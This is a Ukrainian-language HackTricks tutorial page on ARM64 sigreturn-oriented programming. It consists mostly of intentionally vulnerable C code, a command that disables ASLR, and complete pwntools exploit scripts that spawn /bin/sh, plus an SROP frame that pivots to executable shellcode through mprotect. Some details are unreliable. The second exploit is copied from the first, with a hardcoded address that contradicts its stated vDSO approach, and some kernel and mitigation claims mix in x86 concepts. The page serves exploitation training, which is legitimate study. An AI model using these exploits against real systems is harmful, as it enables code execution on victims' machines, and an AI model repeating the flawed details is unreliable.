> [!TIP]
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Приклад Pwntools
Цей приклад створює вразливий бінарний файл і експлуатує його. Бінарний файл зчитує в стек і потім викликає sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof приклад
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Скомпілюйте це з:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
Використання експлойту зловживає bof, щоб повернутися до виклику sigreturn
та підготувати стек для виклику execve
з вказівником на /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof приклад без sigreturn
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
У розділі vdso
можна знайти виклик до sigreturn
за зсувом 0x7b0
:
 (1).png)
Отже, якщо адреса буде витікати, можна використати цю адресу для доступу до sigreturn
, якщо бінарний файл не завантажує його:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Для отримання додаткової інформації про vdso перевірте:
А щоб обійти адресу /bin/sh
, ви можете створити кілька змінних середовища, які вказують на неї, для отримання додаткової інформації:
Автоматичне знаходження гаджетів sigreturn
(2023-2025)
У сучасних дистрибутивах sigreturn
тромплін все ще експортується сторінкою vDSO, але точний зсув може варіюватися в залежності від версій ядра та параметрів збірки, таких як BTI (+branch-protection
) або PAC. Автоматизація його виявлення запобігає жорсткому кодуванню зсувів:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Обидва інструменти розуміють AArch64 кодування і перерахують кандидатні послідовності mov x8, 0x8b ; svc #0
, які можуть бути використані як SROP gadget.
Примітка: Коли бінарні файли компілюються з BTI, перша інструкція кожної дійсної цілі непрямого переходу є
bti c
.sigreturn
трампліни, розміщені компілятором, вже містять правильну BTI landing pad, тому гаджет залишається придатним для використання з неправа кодом.
Зв'язування SROP з ROP (поворот через mprotect
)
rt_sigreturn
дозволяє нам контролювати всі загальні регістри і pstate
. Загальний шаблон на x86: 1) використовувати SROP для виклику mprotect
, 2) повертатися до нового виконуваного стеку, що містить shell-code. Той самий принцип працює на ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Після відправлення кадру ви можете надіслати другий етап, що містить сирий shell-код за адресою 0x400000+0x100
. Оскільки AArch64 використовує PC-relative адресацію, це часто зручніше, ніж будувати великі ROP-ланцюги.
Валідація ядра, PAC та Shadow-Stacks
Linux 5.16 ввів більш сувору валідацію сигналів користувацького простору (коміт 36f5a6c73096
). Ядро тепер перевіряє:
uc_flags
повинен міститиUC_FP_XSTATE
, коли присутнійextra_context
.- Зарезервоване слово в
struct rt_sigframe
повинно бути нульовим. - Кожен вказівник у записі extra_context вирівняний і вказує всередину адресного простору користувача.
pwntools>=4.10
автоматично створює відповідні кадри, але якщо ви створюєте їх вручну, переконайтеся, що ви ініціалізували зарезервоване значення нулем і пропустіть запис SVE, якщо ви дійсно не потребуєте його — в іншому випадку rt_sigreturn
поверне SIGSEGV
замість того, щоб повернутися.
Починаючи з основного Android 14 та Fedora 38, користувацький простір компілюється з увімкненими за замовчуванням PAC (Pointer Authentication) та BTI (-mbranch-protection=standard
). SROP сам по собі не підлягає впливу, оскільки ядро безпосередньо перезаписує PC
з підготовленого кадру, обходячи автентифікований LR, збережений на стеку; однак будь-який наступний ROP-ланцюг, який виконує непрямі переходи, повинен переходити до інструкцій з увімкненим BTI або PAC-адресами. Майте це на увазі при виборі гаджетів.
Shadow-Call-Stacks, введені в ARMv8.9 (і вже увімкнені на ChromeOS 1.27+), є мірою пом'якшення на рівні компілятора і не заважають SROP, оскільки жодні інструкції повернення не виконуються — потік управління передається ядром.
Посилання
- Документація з обробки сигналів Linux arm64
- LWN – "Захист гілок AArch64 приходить до GCC та glibc" (2023)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.